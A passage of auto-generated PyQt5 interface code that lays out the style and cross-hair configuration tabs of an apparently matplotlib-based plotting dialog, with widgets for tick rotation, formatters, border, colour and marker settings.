| QtCore.Qt.AlignVCenter)
self.label_69.setObjectName("label_69")
self.horizontalLayout_5.addWidget(self.label_69)
self.figAspect_cbb = QtWidgets.QComboBox(self.style_tab)
self.figAspect_cbb.setEditable(True)
self.figAspect_cbb.setObjectName("figAspect_cbb")
self.figAspect_cbb.addItem("")
self.figAspect_cbb.addItem("")
self.horizontalLayout_5.addWidget(self.figAspect_cbb)
self.gridLayout_7.addLayout(self.horizontalLayout_5, 0, 1, 1, 1)
self.label_17 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_17.setFont(font)
self.label_17.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_17.setObjectName("label_17")
self.gridLayout_7.addWidget(self.label_17, 1, 0, 1, 1)
self.horizontalLayout_18 = QtWidgets.QHBoxLayout()
self.horizontalLayout_18.setContentsMargins(-1, 0, -1, -1)
self.horizontalLayout_18.setSpacing(4)
self.horizontalLayout_18.setObjectName("horizontalLayout_18")
self.label_59 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_59.sizePolicy().hasHeightForWidth())
self.label_59.setSizePolicy(sizePolicy)
self.label_59.setObjectName("label_59")
self.horizontalLayout_18.addWidget(self.label_59)
self.line_6 = QtWidgets.QFrame(self.style_tab)
self.line_6.setFrameShape(QtWidgets.QFrame.VLine)
self.line_6.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_6.setObjectName("line_6")
self.horizontalLayout_18.addWidget(self.line_6)
self.label_60 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_60.sizePolicy().hasHeightForWidth())
self.label_60.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setUnderline(False)
self.label_60.setFont(font)
self.label_60.setObjectName("label_60")
self.horizontalLayout_18.addWidget(self.label_60)
self.xticks_rotation_sbox = QtWidgets.QDoubleSpinBox(self.style_tab)
self.xticks_rotation_sbox.setToolTip("")
self.xticks_rotation_sbox.setDecimals(1)
self.xticks_rotation_sbox.setMinimum(0.0)
self.xticks_rotation_sbox.setMaximum(360.0)
self.xticks_rotation_sbox.setSingleStep(0.5)
self.xticks_rotation_sbox.setObjectName("xticks_rotation_sbox")
self.horizontalLayout_18.addWidget(self.xticks_rotation_sbox)
self.label_61 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_61.sizePolicy().hasHeightForWidth())
self.label_61.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setUnderline(False)
self.label_61.setFont(font)
self.label_61.setObjectName("label_61")
self.horizontalLayout_18.addWidget(self.label_61)
self.yticks_rotation_sbox = QtWidgets.QDoubleSpinBox(self.style_tab)
self.yticks_rotation_sbox.setDecimals(1)
self.yticks_rotation_sbox.setMaximum(360.0)
self.yticks_rotation_sbox.setSingleStep(0.5)
self.yticks_rotation_sbox.setObjectName("yticks_rotation_sbox")
self.horizontalLayout_18.addWidget(self.yticks_rotation_sbox)
self.gridLayout_7.addLayout(self.horizontalLayout_18, 3, 1, 1, 1)
self.label_16 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_16.setFont(font)
self.label_16.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_16.setObjectName("label_16")
self.gridLayout_7.addWidget(self.label_16, 0, 0, 1, 1)
self.horizontalLayout_9 = QtWidgets.QHBoxLayout()
self.horizontalLayout_9.setSpacing(4)
self.horizontalLayout_9.setObjectName("horizontalLayout_9")
self.enable_mathtext_chkbox = QtWidgets.QCheckBox(self.style_tab)
self.enable_mathtext_chkbox.setObjectName("enable_mathtext_chkbox")
self.horizontalLayout_9.addWidget(self.enable_mathtext_chkbox)
self.line = QtWidgets.QFrame(self.style_tab)
self.line.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line.setLineWidth(1)
self.line.setFrameShape(QtWidgets.QFrame.VLine)
self.line.setObjectName("line")
self.horizontalLayout_9.addWidget(self.line)
self.label_38 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setUnderline(False)
self.label_38.setFont(font)
self.label_38.setObjectName("label_38")
self.horizontalLayout_9.addWidget(self.label_38)
self.xtick_formatter_cbb = QtWidgets.QComboBox(self.style_tab)
self.xtick_formatter_cbb.setObjectName("xtick_formatter_cbb")
self.xtick_formatter_cbb.addItem("")
self.xtick_formatter_cbb.addItem("")
self.horizontalLayout_9.addWidget(self.xtick_formatter_cbb)
self.xtick_funcformatter_lineEdit = QtWidgets.QLineEdit(self.style_tab)
self.xtick_funcformatter_lineEdit.setEnabled(False)
self.xtick_funcformatter_lineEdit.setPlaceholderText("")
self.xtick_funcformatter_lineEdit.setObjectName(
"xtick_funcformatter_lineEdit")
self.horizontalLayout_9.addWidget(self.xtick_funcformatter_lineEdit)
self.label_39 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setUnderline(False)
self.label_39.setFont(font)
self.label_39.setObjectName("label_39")
self.horizontalLayout_9.addWidget(self.label_39)
self.ytick_formatter_cbb = QtWidgets.QComboBox(self.style_tab)
self.ytick_formatter_cbb.setObjectName("ytick_formatter_cbb")
self.ytick_formatter_cbb.addItem("")
self.ytick_formatter_cbb.addItem("")
self.horizontalLayout_9.addWidget(self.ytick_formatter_cbb)
self.ytick_funcformatter_lineEdit = QtWidgets.QLineEdit(self.style_tab)
self.ytick_funcformatter_lineEdit.setEnabled(False)
self.ytick_funcformatter_lineEdit.setPlaceholderText("")
self.ytick_funcformatter_lineEdit.setObjectName(
"ytick_funcformatter_lineEdit")
self.horizontalLayout_9.addWidget(self.ytick_funcformatter_lineEdit)
self.gridLayout_7.addLayout(self.horizontalLayout_9, 4, 1, 1, 1)
self.label_6 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_6.setFont(font)
self.label_6.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_6.setObjectName("label_6")
self.gridLayout_7.addWidget(self.label_6, 5, 0, 1, 1)
self.label_7 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_7.setFont(font)
self.label_7.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_7.setObjectName("label_7")
self.gridLayout_7.addWidget(self.label_7, 2, 0, 3, 1)
self.horizontalLayout_7 = QtWidgets.QHBoxLayout()
self.horizontalLayout_7.setSpacing(4)
self.horizontalLayout_7.setObjectName("horizontalLayout_7")
self.ticks_hide_chkbox = QtWidgets.QCheckBox(self.style_tab)
self.ticks_hide_chkbox.setObjectName("ticks_hide_chkbox")
self.horizontalLayout_7.addWidget(self.ticks_hide_chkbox)
self.mticks_chkbox = QtWidgets.QCheckBox(self.style_tab)
self.mticks_chkbox.setObjectName("mticks_chkbox")
self.horizontalLayout_7.addWidget(self.mticks_chkbox)
self.xy_ticks_sample_lbl = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(1)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xy_ticks_sample_lbl.sizePolicy().hasHeightForWidth())
self.xy_ticks_sample_lbl.setSizePolicy(sizePolicy)
self.xy_ticks_sample_lbl.setAlignment(QtCore.Qt.AlignCenter)
self.xy_ticks_sample_lbl.setObjectName("xy_ticks_sample_lbl")
self.horizontalLayout_7.addWidget(self.xy_ticks_sample_lbl)
self.xy_ticks_font_btn = QtWidgets.QToolButton(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.xy_ticks_font_btn.sizePolicy().hasHeightForWidth())
self.xy_ticks_font_btn.setSizePolicy(sizePolicy)
self.xy_ticks_font_btn.setIcon(icon)
self.xy_ticks_font_btn.setIconSize(QtCore.QSize(24, 24))
self.xy_ticks_font_btn.setAutoRaise(True)
self.xy_ticks_font_btn.setObjectName("xy_ticks_font_btn")
self.horizontalLayout_7.addWidget(self.xy_ticks_font_btn)
self.gridLayout_7.addLayout(self.horizontalLayout_7, 2, 1, 1, 1)
self.horizontalLayout_8 = QtWidgets.QHBoxLayout()
self.horizontalLayout_8.setSpacing(4)
self.horizontalLayout_8.setObjectName("horizontalLayout_8")
self.tightLayout_chkbox = QtWidgets.QCheckBox(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.tightLayout_chkbox.sizePolicy().hasHeightForWidth())
self.tightLayout_chkbox.setSizePolicy(sizePolicy)
self.tightLayout_chkbox.setObjectName("tightLayout_chkbox")
self.horizontalLayout_8.addWidget(self.tightLayout_chkbox)
self.gridon_chkbox = QtWidgets.QCheckBox(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.gridon_chkbox.sizePolicy().hasHeightForWidth())
self.gridon_chkbox.setSizePolicy(sizePolicy)
self.gridon_chkbox.setObjectName("gridon_chkbox")
self.horizontalLayout_8.addWidget(self.gridon_chkbox)
spacerItem2 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_8.addItem(spacerItem2)
self.gridLayout_7.addLayout(self.horizontalLayout_8, 5, 1, 1, 1)
self.border_style_hbox = QtWidgets.QHBoxLayout()
self.border_style_hbox.setSpacing(4)
self.border_style_hbox.setObjectName("border_style_hbox")
self.border_hide_chkbox = QtWidgets.QCheckBox(self.style_tab)
self.border_hide_chkbox.setObjectName("border_hide_chkbox")
self.border_style_hbox.addWidget(self.border_hide_chkbox)
self.line_2 = QtWidgets.QFrame(self.style_tab)
self.line_2.setFrameShape(QtWidgets.QFrame.VLine)
self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_2.setObjectName("line_2")
self.border_style_hbox.addWidget(self.line_2)
self.label_67 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_67.sizePolicy().hasHeightForWidth())
self.label_67.setSizePolicy(sizePolicy)
self.label_67.setObjectName("label_67")
self.border_style_hbox.addWidget(self.label_67)
self.border_color_btn = QtWidgets.QToolButton(self.style_tab)
self.border_color_btn.setToolTip("")
self.border_color_btn.setStyleSheet("")
self.border_color_btn.setText("")
self.border_color_btn.setIconSize(QtCore.QSize(20, 20))
self.border_color_btn.setObjectName("border_color_btn")
self.border_style_hbox.addWidget(self.border_color_btn)
self.label_65 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_65.sizePolicy().hasHeightForWidth())
self.label_65.setSizePolicy(sizePolicy)
self.label_65.setObjectName("label_65")
self.border_style_hbox.addWidget(self.label_65)
self.border_lw_sbox = QtWidgets.QDoubleSpinBox(self.style_tab)
self.border_lw_sbox.setDecimals(1)
self.border_lw_sbox.setMaximum(10.0)
self.border_lw_sbox.setSingleStep(0.1)
self.border_lw_sbox.setObjectName("border_lw_sbox")
self.border_style_hbox.addWidget(self.border_lw_sbox)
self.label_68 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_68.sizePolicy().hasHeightForWidth())
self.label_68.setSizePolicy(sizePolicy)
self.label_68.setObjectName("label_68")
self.border_style_hbox.addWidget(self.label_68)
self.border_ls_cbb = QtWidgets.QComboBox(self.style_tab)
self.border_ls_cbb.setSizeAdjustPolicy(
QtWidgets.QComboBox.AdjustToContentsOnFirstShow)
self.border_ls_cbb.setObjectName("border_ls_cbb")
self.border_ls_cbb.addItem("")
self.border_ls_cbb.addItem("")
self.border_ls_cbb.addItem("")
self.border_ls_cbb.addItem("")
self.border_style_hbox.addWidget(self.border_ls_cbb)
spacerItem3 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.border_style_hbox.addItem(spacerItem3)
self.gridLayout_7.addLayout(self.border_style_hbox, 6, 1, 1, 1)
self.horizontalLayout_6 = QtWidgets.QHBoxLayout()
self.horizontalLayout_6.setSpacing(4)
self.horizontalLayout_6.setObjectName("horizontalLayout_6")
self.label_62 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_62.sizePolicy().hasHeightForWidth())
self.label_62.setSizePolicy(sizePolicy)
self.label_62.setObjectName("label_62")
self.horizontalLayout_6.addWidget(self.label_62)
self.bkgd_color_btn = QtWidgets.QToolButton(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.bkgd_color_btn.sizePolicy().hasHeightForWidth())
self.bkgd_color_btn.setSizePolicy(sizePolicy)
self.bkgd_color_btn.setText("")
self.bkgd_color_btn.setAutoRaise(False)
self.bkgd_color_btn.setObjectName("bkgd_color_btn")
self.horizontalLayout_6.addWidget(self.bkgd_color_btn)
self.label_63 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_63.sizePolicy().hasHeightForWidth())
self.label_63.setSizePolicy(sizePolicy)
self.label_63.setObjectName("label_63")
self.horizontalLayout_6.addWidget(self.label_63)
self.ticks_color_btn = QtWidgets.QToolButton(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.ticks_color_btn.sizePolicy().hasHeightForWidth())
self.ticks_color_btn.setSizePolicy(sizePolicy)
self.ticks_color_btn.setText("")
self.ticks_color_btn.setIconSize(QtCore.QSize(20, 20))
self.ticks_color_btn.setObjectName("ticks_color_btn")
self.horizontalLayout_6.addWidget(self.ticks_color_btn)
self.label_64 = QtWidgets.QLabel(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_64.sizePolicy().hasHeightForWidth())
self.label_64.setSizePolicy(sizePolicy)
self.label_64.setObjectName("label_64")
self.horizontalLayout_6.addWidget(self.label_64)
self.grid_color_btn = QtWidgets.QToolButton(self.style_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.grid_color_btn.sizePolicy().hasHeightForWidth())
self.grid_color_btn.setSizePolicy(sizePolicy)
self.grid_color_btn.setText("")
self.grid_color_btn.setIconSize(QtCore.QSize(20, 20))
self.grid_color_btn.setAutoRaise(False)
self.grid_color_btn.setObjectName("grid_color_btn")
self.horizontalLayout_6.addWidget(self.grid_color_btn)
spacerItem4 = QtWidgets.QSpacerItem(40, 20,
QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem4)
self.gridLayout_7.addLayout(self.horizontalLayout_6, 1, 1, 1, 1)
self.label_66 = QtWidgets.QLabel(self.style_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_66.setFont(font)
self.label_66.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_66.setObjectName("label_66")
self.gridLayout_7.addWidget(self.label_66, 6, 0, 1, 1)
spacerItem5 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_7.addItem(spacerItem5, 7, 1, 1, 1)
self.config_tabWidget.addTab(self.style_tab, "")
self.cross_tab = QtWidgets.QWidget()
self.cross_tab.setObjectName("cross_tab")
self.gridLayout_27 = QtWidgets.QGridLayout(self.cross_tab)
self.gridLayout_27.setContentsMargins(6, 12, 6, 6)
self.gridLayout_27.setSpacing(4)
self.gridLayout_27.setObjectName("gridLayout_27")
self.label_173 = QtWidgets.QLabel(self.cross_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_173.setFont(font)
self.label_173.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_173.setObjectName("label_173")
self.gridLayout_27.addWidget(self.label_173, 0, 0, 1, 1)
self.cross_hide_chkbox = QtWidgets.QCheckBox(self.cross_tab)
self.cross_hide_chkbox.setTristate(True)
self.cross_hide_chkbox.setObjectName("cross_hide_chkbox")
self.gridLayout_27.addWidget(self.cross_hide_chkbox, 0, 5, 1, 1)
self.label_164 = QtWidgets.QLabel(self.cross_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_164.setFont(font)
self.label_164.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_164.setObjectName("label_164")
self.gridLayout_27.addWidget(self.label_164, 1, 0, 1, 1)
self.gridLayout_26 = QtWidgets.QGridLayout()
self.gridLayout_26.setSpacing(4)
self.gridLayout_26.setObjectName("gridLayout_26")
self.cross_mk_style_cbb = QtWidgets.QComboBox(self.cross_tab)
self.cross_mk_style_cbb.setObjectName("cross_mk_style_cbb")
self.gridLayout_26.addWidget(self.cross_mk_style_cbb, 1, 1, 1, 1)
self.cross_mk_facecolor_btn = QtWidgets.QToolButton(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_mk_facecolor_btn.sizePolicy().hasHeightForWidth())
self.cross_mk_facecolor_btn.setSizePolicy(sizePolicy)
self.cross_mk_facecolor_btn.setToolTip("")
self.cross_mk_facecolor_btn.setText("")
self.cross_mk_facecolor_btn.setObjectName("cross_mk_facecolor_btn")
self.gridLayout_26.addWidget(self.cross_mk_facecolor_btn, 1, 3, 1, 1)
self.cross_mk_width_lineEdit = QtWidgets.QLineEdit(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_mk_width_lineEdit.sizePolicy().hasHeightForWidth())
self.cross_mk_width_lineEdit.setSizePolicy(sizePolicy)
self.cross_mk_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.cross_mk_width_lineEdit.setObjectName("cross_mk_width_lineEdit")
self.gridLayout_26.addWidget(self.cross_mk_width_lineEdit, 1, 9, 1, 1)
self.label_169 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_169.sizePolicy().hasHeightForWidth())
self.label_169.setSizePolicy(sizePolicy)
self.label_169.setObjectName("label_169")
self.gridLayout_26.addWidget(self.label_169, 0, 2, 1, 1)
self.label_170 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_170.sizePolicy().hasHeightForWidth())
self.label_170.setSizePolicy(sizePolicy)
self.label_170.setObjectName("label_170")
self.gridLayout_26.addWidget(self.label_170, 1, 0, 1, 1)
self.label_166 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_166.sizePolicy().hasHeightForWidth())
self.label_166.setSizePolicy(sizePolicy)
self.label_166.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_166.setObjectName("label_166")
self.gridLayout_26.addWidget(self.label_166, 1, 6, 1, 1)
self.cross_line_color_btn = QtWidgets.QToolButton(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_line_color_btn.sizePolicy().hasHeightForWidth())
self.cross_line_color_btn.setSizePolicy(sizePolicy)
self.cross_line_color_btn.setText("")
self.cross_line_color_btn.setObjectName("cross_line_color_btn")
self.gridLayout_26.addWidget(self.cross_line_color_btn, 0, 3, 1, 1)
self.cross_mk_edgecolor_btn = QtWidgets.QToolButton(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_mk_edgecolor_btn.sizePolicy().hasHeightForWidth())
self.cross_mk_edgecolor_btn.setSizePolicy(sizePolicy)
self.cross_mk_edgecolor_btn.setText("")
self.cross_mk_edgecolor_btn.setObjectName("cross_mk_edgecolor_btn")
self.gridLayout_26.addWidget(self.cross_mk_edgecolor_btn, 1, 5, 1, 1)
self.label_165 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_165.sizePolicy().hasHeightForWidth())
self.label_165.setSizePolicy(sizePolicy)
self.label_165.setObjectName("label_165")
self.gridLayout_26.addWidget(self.label_165, 1, 8, 1, 1)
self.label_167 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_167.sizePolicy().hasHeightForWidth())
self.label_167.setSizePolicy(sizePolicy)
self.label_167.setObjectName("label_167")
self.gridLayout_26.addWidget(self.label_167, 0, 8, 1, 1)
self.label_171 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_171.sizePolicy().hasHeightForWidth())
self.label_171.setSizePolicy(sizePolicy)
self.label_171.setObjectName("label_171")
self.gridLayout_26.addWidget(self.label_171, 1, 2, 1, 1)
self.label_172 = QtWidgets.QLabel(self.cross_tab)
self.label_172.setObjectName("label_172")
self.gridLayout_26.addWidget(self.label_172, 1, 4, 1, 1)
self.label_168 = QtWidgets.QLabel(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_168.sizePolicy().hasHeightForWidth())
self.label_168.setSizePolicy(sizePolicy)
self.label_168.setObjectName("label_168")
self.gridLayout_26.addWidget(self.label_168, 0, 0, 1, 1)
self.cross_line_style_cbb = QtWidgets.QComboBox(self.cross_tab)
self.cross_line_style_cbb.setSizeAdjustPolicy(
QtWidgets.QComboBox.AdjustToContentsOnFirstShow)
self.cross_line_style_cbb.setObjectName("cross_line_style_cbb")
self.cross_line_style_cbb.addItem("")
self.cross_line_style_cbb.addItem("")
self.cross_line_style_cbb.addItem("")
self.cross_line_style_cbb.addItem("")
self.cross_line_style_cbb.addItem("")
self.gridLayout_26.addWidget(self.cross_line_style_cbb, 0, 1, 1, 1)
self.cross_mk_size_lineEdit = QtWidgets.QLineEdit(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_mk_size_lineEdit.sizePolicy().hasHeightForWidth())
self.cross_mk_size_lineEdit.setSizePolicy(sizePolicy)
self.cross_mk_size_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.cross_mk_size_lineEdit.setObjectName("cross_mk_size_lineEdit")
self.gridLayout_26.addWidget(self.cross_mk_size_lineEdit, 1, 7, 1, 1)
self.cross_line_width_lineEdit = QtWidgets.QLineEdit(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_line_width_lineEdit.sizePolicy().hasHeightForWidth())
self.cross_line_width_lineEdit.setSizePolicy(sizePolicy)
self.cross_line_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.cross_line_width_lineEdit.setObjectName(
"cross_line_width_lineEdit")
self.gridLayout_26.addWidget(self.cross_line_width_lineEdit, 0, 9, 1,
1)
self.cross_line_hide_chkbox = QtWidgets.QCheckBox(self.cross_tab)
self.cross_line_hide_chkbox.setObjectName("cross_line_hide_chkbox")
self.gridLayout_26.addWidget(self.cross_line_hide_chkbox, 0, 10, 1, 1)
self.cross_mk_hide_chkbox = QtWidgets.QCheckBox(self.cross_tab)
self.cross_mk_hide_chkbox.setObjectName("cross_mk_hide_chkbox")
self.gridLayout_26.addWidget(self.cross_mk_hide_chkbox, 1, 10, 1, 1)
self.gridLayout_27.addLayout(self.gridLayout_26, 1, 1, 2, 5)
self.label_163 = QtWidgets.QLabel(self.cross_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_163.setFont(font)
self.label_163.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_163.setObjectName("label_163")
self.gridLayout_27.addWidget(self.label_163, 2, 0, 1, 1)
self.label_174 = QtWidgets.QLabel(self.cross_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_174.setFont(font)
self.label_174.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_174.setObjectName("label_174")
self.gridLayout_27.addWidget(self.label_174, 3, 0, 1, 1)
self.cross_rename_chkbox = QtWidgets.QCheckBox(self.cross_tab)
self.cross_rename_chkbox.setObjectName("cross_rename_chkbox")
self.gridLayout_27.addWidget(self.cross_rename_chkbox, 3, 1, 1, 1)
self.cross_literal_name_lineEdit = QtWidgets.QLineEdit(self.cross_tab)
